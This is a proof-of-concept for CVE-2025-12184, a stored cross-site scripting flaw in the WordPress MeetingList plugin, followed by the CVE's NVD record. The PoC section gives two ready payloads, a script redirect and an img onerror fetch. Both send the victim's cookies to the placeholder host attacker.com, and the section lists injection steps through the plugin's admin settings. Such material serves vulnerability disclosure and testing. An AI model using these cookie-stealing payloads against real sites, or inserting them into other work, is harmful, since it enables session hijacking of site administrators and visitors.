CVE-2025-12184

// CVE-2025-12184 PoC - Stored XSS in MeetingList plugin admin settings // This PoC demonstrates how an attacker with admin privileges can inject malicious JavaScript // through the plugin's admin settings page. // Step 1: Login as admin and navigate to MeetingList plugin settings // Step 2: Inject XSS payload in any settings field that is not properly sanitized // Example payload (modify according to actual vulnerable parameter): // PoC Payload: const xssPayload = '<script>document.location="https://attacker.com/steal?cookie="+document.cookie</script>'; // Alternative payload using event handlers: const xssPayload2 = '<img src=x onerror="fetch(\'https://attacker.com/log?c=\'+btoa(document.cookie))">'; // The injected script will execute when: // 1. Other admins view the same settings page // 2. Users access pages displaying the plugin's content // 3. WordPress renders the affected settings in the admin dashboard // To test: // 1. Install MeetingList plugin <= 0.11 // 2. Login as administrator // 3. Go to plugin settings page // 4. Insert the XSS payload in a settings field // 5. Save settings // 6. Observe script execution on page reload or when other users access the page

{"cve": {"id": "CVE-2025-12184", "sourceIdentifier": "[email protected]", "published": "2025-11-04T15:15:37.163", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The MeetingList plugin for WordPress is vulnerable to Stored Cross-Site Scripting via admin settings in all versions up to, and including, 0.11 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with administrator-level permissions and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This only affects multi-site installations and installations where unfiltered_html has been disabled."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:N", "baseScore": 4.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://wordpress.com/plugins/meeting-list", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/a14b0f3d-7c18-4468-88f7-cc070c4cea4e?source=cve", "source": "[email protected]"}]}}